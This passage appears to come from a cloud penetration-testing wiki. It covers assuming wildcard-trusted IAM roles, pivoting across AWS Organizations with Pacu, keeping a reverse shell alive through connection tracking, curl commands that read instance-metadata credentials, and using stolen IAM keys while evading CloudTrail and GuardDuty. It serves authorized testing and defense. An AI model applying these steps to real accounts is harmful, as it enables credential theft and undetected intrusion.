./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-> Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n

Note

Condition elements may induce false positives.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"

As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a Principal in a role trust policy.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"

As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".

This policy typically looks like the following:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

This policy would Allow anyone in the 111111111111 account the ability to perform the action sts:AssumeRole (assume the role), provided that they have the action in their IAM identity-based policy.

As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the Principal element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" Principal. This Principal encompasses ALL AWS principals.

Warning

A common misunderstanding is that the wildcard Principal is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard Principal applies to EVERY AWS account.

If a role trust policy is configured with a wildcard Principal element, such as the one shown below, anyone in the world can assume the role.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:

Warning

Do NOT use this trust policy.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n

In this example, the intention was to create a policy that Denied all Principals except the intent-allow-role. However, while creating this policy, the Effect was mistakenly changed to an Allow, which had the opposite effect, now anyone except intent-allow-role can assume the role.

These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"

In order to exploit a role that has a wildcard set as a Principal, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.

aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n

Tip

There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/","title":"AWS Organizations Defaults & Pivoting","text":"
  • Original Research

    Pivoting AWS Organizations 1 & Pivoting AWS Organizations 2 by Scott Weston

Almost all mid-to-large sized AWS environments make use of multi-account architecture. Using multiple AWS accounts offers a number of benefits and is considered a best practice. To help organize and manage those accounts, AWS offers a service called AWS Organizations.

Due to the ubiquity of AWS Organizations, it is important for Penetration Testers and Red Teamers to familiarize themselves with its default configuration.

When an account creates an organization it becomes the management account of that organization. Each organization has one management account, and this account effectively \"owns\" the organization.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#creating-member-accounts-default-organizationaccountaccessrole","title":"Creating Member Accounts: Default OrganizationAccountAccessRole","text":"

When an account is created through AWS Organizations, it is considered a member of the organization (hence, member account). As a part of this account creation process, AWS Organizations will create a role in the member account called OrganizationAccountAccessRole. This role is created in each member account.

By default, the OrganizationAccountAccessRole has the AdministratorAccess policy attached to it, giving the role complete control over the member account. In addition, the default trust policy on the role is as shown below where 000000000000 is the account ID of the management account.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::000000000000:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

These things combined mean that, should an attacker compromise the management account, the default behavior of AWS Organizations provides a path to compromise every account in the organization as an administrator, assuming that the member account was created through AWS organizations (as opposed to invited). For offensive security professionals, identifying paths into the management account can be an incredibly fruitful exercise, and may result in an entire organization compromise.

For defensive security teams, it would be a good idea to ensure no infrastructure is deployed into the management account to reduce attack surface. Additionally, carefully controlling who has access to it and monitoring that access would also help to reduce risk.

Scott Weston has added a module to Pacu to brute force this role name or a list of role names. So if a management account is compromised, and the user wants to attempt to assume one to many role names on all accounts, they can run the following Pacu Module

Pacu (role:ManagementAccount) > run organizations__assume_role\n[ Review the results to see if any of the following roles are assumed] \n
"},{"location":"aws/general-knowledge/aws_organizations_defaults/#inviting-pre-existing-member-accounts-trusted-access-delegated-administration","title":"Inviting Pre-Existing Member Accounts: Trusted Access & Delegated Administration","text":"

When a pre-existing AWS account is invited to join an organization, it does not auto-generate a default role with AdministratorAccess like the account creation workflow. As a pentester, one can look into trusted access and delegated administration to see if there are any more avenues to pivot such that you can move from the compromised management account/delegated admin to another member account in the organization. Depending on the features available, this might allow for indirect access to other member accounts (ex. IAM Access Analyzer), or direct access with some setup (IAM Identity Center).

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#organization-integrated-features","title":"Organization-Integrated Features","text":"

Many AWS services include specific features that have the capability to scope to the entire organization. For example, IAM Access Analyzer is a feature within the overall IAM service. Normally a user would just run Access Analyzer on their own AWS account to find roles with trust policies that reference outside AWS account sources. Because IAM Access Analyzer is an organization-integrated feature, if the target AWS account is part of an organization, a user can choose to scope Access Analyzer from their single account to the organization meaning Access Analyzer will check all AWS account roles in the organization and consider \"untrusted\" sources as any resource outside of the organization (as opposed to the single AWS account). IAM Access Analyzer is just one example, but there are a multitude of features that can do a similar scope increase to the organization that all behave differently. This might sound complicated, but from a UI perspective, this basically just means there is another option in the dropdown or radio buttons when kicking off the service that lets you choose \"organization\" instead of the specifc account you are in. A list of all these can be found here

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#helpful-diagram","title":"Helpful Diagram","text":"

Trusted Access & Delegated Administration

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#trusted-access","title":"Trusted Access","text":"

These organization integrated features are in an \"off\" state by default. Trusted access is the act of the management account turning \"on\" the organization integrated features. For example, even if a member account is part of an organization, they will not be able to increase the scope of IAM Access Analyzer to the organization until the management account enables trusted access for IAM Access Analyzer for the organization. On a technical level, the act of turning \"on\" an organization-integrated feature via trusted access allows the feature to make roles in member accounts to carry out its tasks. There is an AWS CLI command the management account can run to enable one of these organization-integrated features and list those that are present as seen below:

Note

Trusted access is enabled via the management account and allows IAM Access Analyzer to reach into all member accounts to achieve its objective.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#delegated-administration","title":"Delegated Administration","text":"

Delegated Administration is pretty much like trusted access, but is from the perspective of a member account. In delegated administration, the user allows one of the member accounts to execute an organization-integrated feature on the AWS organization, essentially \"delegating\" the \"administration\" of that feature to that member account. We would say that a member account is \"a delegated administrator for service ABC (ex. IAM Access Analyzer).\" The CLI command to see all delegated administrators in an organization is shown below. If you are a member account, and call this API, and your AWS account is listed in the output, than that is a good way to confirm you are in a delegated admin account. Note again that a delegated admin is for a specific service so rather than searching through every single feature to see what you are a delegated admin for, you can call the API shown below to see what specific feature you are a delegated admin for.

Besides the ability to run specific organization-integrated features, note that the member account also in general gains access to numerous read-only APIs. For example, note how this CLI command states that a \"delegated administrator\" can run it. While a default member account can only see itself and the management account in an organization, a delegated administrator can potentially see all AWS accounts in the organization.

As of late 2022, delegated administrators also potentially have the ability to manipulate SCPs (which are basically IAM policy filters at the organization level). See the attached blog article for a review of this avenue.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-access-analyzer-indirect-route","title":"IAM Access Analyzer (Indirect Route):","text":"

IAM Access Analyzer allows one to scan all roles in the organization. If an attacker compromises the managament account where trusted access is enabled for IAM Access Analyzer (or the attacker enables it depending on permissions), the attacker could run IAM Access Analyzer on the entire organization and review the results to see if there are any misconfigured roles they can pivot to. Note the attacker NEVER directly got access to the member accounts and was constrained to the management account. Rather the attacker just ran the organization-integrated feature which accesses the member accounts giving the attacker indirect access to the organization. See the blog post in references for images/walkthrough.

Now imagine an attacker compromises a member account. If the member account is a delegated administrator for IAM Access Analyzer, the attacker can perform a similar action of launching the feature and reviewing the results without ever directly accessing the member accounts. In addition, if a delegated administrator is compromised, the attacker can also see much more of the organization and what the structure looks like due to their read-only rights. See the blog post in references for images/walkthrough.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#iam-identity-center-direct-route","title":"IAM Identity Center (Direct Route)","text":"

IAM Identity center supports trusted access, and allows one to create a user entity, a permission set, and attach the user and permission set to an account in the organization. So, if an attacker compromises a management account, the attacker could enable trusted access for IAM Identity Center (assuming it is not already enabled). Then the attacker (if they have the necessary permissions), can create a user entity with a username/password and the attacker email, and create a permission set entity that is the equivalent of AdministratorAccess. The attacker can then attach the user and permissions to a member account in the organization through IAM Identity Center in the management account, and navigate to the IAM Identity Center login link. The attacker then can enter the users username/password and get access to the member account directly as Administrator Access. See the references section for the blog post with images/walkthrough/etc.

"},{"location":"aws/general-knowledge/aws_organizations_defaults/#automated-tools","title":"Automated Tools","text":"

To enumerate an organization for all the info discussed above, you can use the Pacu module shown below:

# Run Module\nPacu (Session: Keys) > run organizations__enum\n\n# See Data Collected/Enumerated\nPacu (Session: Keys) > data organizations\n

Relevant pull requests can be found here and here.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/","title":"Prevent Expensive AWS API Actions with SCPs","text":"
  • Original Research

    List of expensive / long-term effect AWS IAM actions by Ian McKay

  • Additional Resources

    • Service Control Policies (SCPs)
    • Attaching and detaching service control policies

An ever-present danger when using AWS is accidentally making an API call that could cost you thousands of dollars. Speaking from experience, this can be a remarkably stressful time. To mitigate this risk, implementing guardrails on your account is essential. One way to do this is to block API operations which are known to be expensive. Operations like signing up for certain AWS services or creating non-deletable resources can lead to high costs.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#understanding-service-control-policies","title":"Understanding Service Control Policies","text":"

To help prevent billing headaches when learning about AWS security or conducting research we can use a Service Control Policy (SCP). An SCP is a type of organizational policy which restricts what API calls can be made by member accounts in an AWS Organization. Thanks to the work of Ian McKay, and other community members, we have a list of AWS API operations which are prohibitively expensive and should be avoided.

To implement the policy below, refer to the AWS documentation for detailed instructions on attaching and managing SCPs.

Warning

While this SCP provides a significant safeguard, it is not entirely foolproof. You can still incur high charges if not careful. This policy only blocks known problematic API calls. Always exercise caution when creating or configuring resources in AWS.

"},{"location":"aws/general-knowledge/block-expensive-actions-with-scps/#safeguard-scp","title":"Safeguard SCP","text":"
{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"Statement1\",\n      \"Effect\": \"Deny\",\n      \"Action\": [\n        \"route53domains:RegisterDomain\",\n        \"route53domains:RenewDomain\",\n        \"route53domains:TransferDomain\",\n        \"ec2:ModifyReservedInstances\",\n        \"ec2:PurchaseHostReservation\",\n        \"ec2:PurchaseReservedInstancesOffering\",\n        \"ec2:PurchaseScheduledInstances\",\n        \"rds:PurchaseReservedDBInstancesOffering\",\n        \"dynamodb:PurchaseReservedCapacityOfferings\",\n        \"s3:PutObjectRetention\",\n        \"s3:PutObjectLegalHold\",\n        \"s3:BypassGovernanceRetention\",\n        \"s3:PutBucketObjectLockConfiguration\",\n        \"elasticache:PurchaseReservedCacheNodesOffering\",\n        \"redshift:PurchaseReservedNodeOffering\",\n        \"savingsplans:CreateSavingsPlan\",\n        \"aws-marketplace:AcceptAgreementApprovalRequest\",\n        \"aws-marketplace:Subscribe\",\n        \"shield:CreateSubscription\",\n        \"acm-pca:CreateCertificateAuthority\",\n        \"es:PurchaseReservedElasticsearchInstanceOffering\",\n        \"outposts:CreateOutpost\",\n        \"snowball:CreateCluster\",\n        \"s3-object-lambda:PutObjectLegalHold\",\n        \"s3-object-lambda:PutObjectRetention\",\n        \"glacier:InitiateVaultLock\",\n        \"glacier:CompleteVaultLock\",\n        \"es:PurchaseReservedInstanceOffering\",\n        \"backup:PutBackupVaultLockConfiguration\",\n        \"bedrock:CreateProvisionedModelThroughput\",\n        \"bedrock:UpdateProvisionedModelThroughput\"\n      ],\n      \"Resource\": [\n        \"*\"\n      ]\n    }\n  ]\n}\n
"},{"location":"aws/general-knowledge/connection-tracking/","title":"Connection Tracking","text":"
  • Original Research

    Abusing AWS Connection Tracking by Nick Frichette

Security Groups in AWS have an interesting capability known as Connection Tracking. This allows the security groups to track information about the network traffic and allow/deny that traffic based on the Security Group rules.

There are two kinds of traffic flows; tracked and untracked. For example the AWS documentation mentions a tracked flow as the following, \"if you initiate an ICMP ping command to your instance from your home computer, and your inbound security group rules allow ICMP traffic, information about the connection (including the port information) is tracked. Response traffic from the instance for the ping command is not tracked as a new request, but rather as an established connection and is allowed to flow out of the instance, even if your outbound security group rules restrict outbound ICMP traffic\".

An interesting side effect of this is that tracked connections are allowed to persist, even after a Security Group rule change.

Let's take a simple example: There is an EC2 instance that runs a web application. This EC2 instance has a simple Security Group that allows SSH, port 80, and port 443 inbound, and allows all traffic outbound. This EC2 instance is in a public subnet and is internet facing.

While performing a penetration test you've gained command execution on this EC2 instance. In doing so, you pop a simple reverse shell. You work your magic on the box before eventually triggering an alert to our friendly neighborhood defender. They follow their runbooks which may borrow from the official AWS whitepaper on incident response.

As part of the \"Isolate\" step, the typical goal is to isolate the affected EC2 instance with either a restrictive Security Group or an explicit Deny NACL. The slight problem with this is that NACLs affect the entire subnet, and if you are operating in a space with a ton of EC2 instances the defender is unlikely to want to cause an outage for all of them. As a result, swapping the Security Group is the recommended procedure.

The defender switches the Security Group from the web and ssh one, to one that does not allow anything inbound or outbound.

The beauty of connection tracking is that because you've already established a connection with your shell, it will persist. So long as you ran the shell before the SG change, you can continue scouring the box and looking for other vulnerabilities.

To be clear, if the restrictive security group doesn't allow for any outbound rules we won't be able to communicate out (and if you're using a beaconing C2 that will not function).

"},{"location":"aws/general-knowledge/iam-key-identifiers/","title":"IAM ID Identifiers","text":"
  • Additional Resources

    Reference: AWS Documentation: Unique Identifiers

In AWS, different resources are assigned a \"unique identifier\". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.

The full list of prefixes can be found below.

Prefix Entity Type ABIA AWS STS service bearer token ACCA Context-specific credential AGPA Group AIDA IAM user AIPA Amazon EC2 instance profile AKIA Access key ANPA Managed policy ANVA Version in a managed policy APKA Public key AROA Role ASCA Certificate ASIA Temporary (AWS STS) keys

From a security perspective, there are 2 primary prefixes which are important to know, AKIA and ASIA.

"},{"location":"aws/general-knowledge/iam-key-identifiers/#akia","title":"AKIA","text":"

IAM credentials with the AKIA prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.

"},{"location":"aws/general-knowledge/iam-key-identifiers/#asia","title":"ASIA","text":"

IAM credentials with the ASIA prefix belong to short lived access keys which were generated using STS. These credentials last for a limited time. In the event you come across an access key prefixed with ASIA, a secret key, and a session token, make use of them quickly before they expire.

"},{"location":"aws/general-knowledge/intro_metadata_service/","title":"Introduction to the Instance Metadata Service","text":"

Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.

"},{"location":"aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service","title":"How to Access the Metadata Service","text":"

The metadata service can be accessed at http://169.254.169.254/latest/meta-data/ from the EC2 instance. Alternatively, it can also be reached via IPv6 at http://[fd00:ec2::254]/latest/meta-data/ however this only applies to Nitro EC2 instances.

To get credentials, you will first need to make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/.

"},{"location":"aws/general-knowledge/intro_metadata_service/#imdsv2","title":"IMDSv2","text":"

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/meta-data/\n
"},{"location":"aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2","title":"The Security Benefits of IMDSv2","text":"

IMDSv2 offers a number of security improvements over the original. Wherever possible, IMDSv2 should be enforced over the original metadata service. These improvements take the following form:

Session Authentication: In order to retrieve information from the metadata service a session must be created by sending a HTTP PUT request to retrieve a token value. After this, the token must be used for all subsequent requests. This mechanism effectively mitigates traditional Server Side Request Forgery attacks, as an attacker is unlikely to be able to send a PUT request.

Blocks X-Forwarded-For Header: IMDSv2 will block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

TTL of 1: The default configuration of IMDSv2 is to set the Time To Live (TTL) of the TCP packet containing the session token to \"1\". This ensures that misconfigured network appliances (firewalls, NAT devices, routers, etc.) will not forward the packet on. This also means that Docker containers using the default networking configuration (bridge mode) will not be able to reach the instance metadata service.

Note

While the default configuration of IMDSv2 will prevent a Docker container from being able to reach the metadata service, this can be configured via the \"hop limit.\"

"},{"location":"aws/general-knowledge/intro_metadata_service/#what-info-the-metadata-service-contains","title":"What Info the Metadata Service Contains","text":"

The following information was pulled from here.

Endpoint Description ami-id The AMI ID used to launch the instance. ami-launch-index If you started more than one instance at the same time, this value indicates the order in which the instance was launched. The value of the first instance launched is 0. ami-manifest-path The path to the AMI manifest file in Amazon S3. If you used an Amazon EBS-backed AMI to launch the instance, the returned result is unknown. hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). iam/info If there is an IAM role associated with the instance, contains information about the last time the instance profile was updated, including the instance's LastUpdated date, InstanceProfileArn, and InstanceProfileId. Otherwise, not present. iam/security-credentials/role-name If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role. Otherwise, not present. identity-credentials/ec2/info [Internal use only] Information about the credentials in identity-credentials/ec2/security-credentials/ec2-instance. These credentials are used by AWS features such as EC2 Instance Connect, and do not have any additional AWS API permissions or privileges beyond identifying the instance. instance-id The ID of this instance. local-hostname The private IPv4 DNS hostname of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). local-ipv4 The private IPv4 address of the instance. In cases where multiple network interfaces are present, this refers to the eth0 device (the device for which the device number is 0). public-hostname The instance's public DNS. This category is only returned if the enableDnsHostnames attribute is set to true. public-ipv4 The public IPv4 address. If an Elastic IP address is associated with the instance, the value returned is the Elastic IP address. public-keys/0/openssh-key Public key. Only available if supplied at instance launch time. security-groups The names of the security groups applied to the instance."},{"location":"aws/general-knowledge/introduction_user_data/","title":"Introduction to User Data","text":"

Instance user data is used to run commands when an EC2 instance is first started or after it is rebooted (with some configuration). Because this script is typically used to install software and configure the instance, this can be an excellent source of information for us as attackers. After gaining access to an EC2 instance you should immediately grab the user data script to gain information on the environment.

Warning

Although it should not be done, credentials/secrets often end up being stored in user data. From the AWS docs, \"Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data.\"

"},{"location":"aws/general-knowledge/introduction_user_data/#how-to-access-ec2-user-data","title":"How to Access EC2 User Data","text":"

User data can be accessed at http://169.254.169.254/latest/user-data/ from the EC2 instance.

"},{"location":"aws/general-knowledge/introduction_user_data/#imdsv2","title":"IMDSv2","text":"

Version two of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.

user@host:~$ TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\nuser@host:~$ curl -H \"X-aws-ec2-metadata-token: $TOKEN\" -v http://169.254.169.254/latest/user-data/\n
"},{"location":"aws/general-knowledge/introduction_user_data/#api","title":"API","text":"

Another option to gather user data is via the API. If you escalate privileges in an account, or simply compromise a user/role with sufficient permissions, you can query the AWS API to view the user data of specific EC2 instances. This requires you to know the instance-id of the target EC2 instance. To query the user data we will use the describe-instance-attribute action. The result will be base64 encoded.

user@host:~$ aws ec2 describe-instance-attribute --instance-id i-abc123... --attribute userData\n
"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"

As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"

In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.

Long term credentials will have an access key that starts with AKIA and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.

Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"

After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

To do this with long term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n

To do this with short term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>\n

Note

You may also have to specify an AWS region. This can be globally set with the aws configure command or through the AWS_REGION environment variable.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"

Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.

As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".

$ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n

Tip

For defensive security professionals, it may be worthwhile to alert on invocations of sts:GetCallerIdentity from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.

It is worth noting that sts:GetCallerIdentity may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"

If you are attempting to maintain stealth, sts:GetCallerIdentity may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.

Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.

An example of this would be sqs:ListQueues. By making this API call we can get similar information to sts:GetCallerIdentity without the risk of logging to CloudTrail.

user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n

For more information on this technique, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"

There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"

If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.

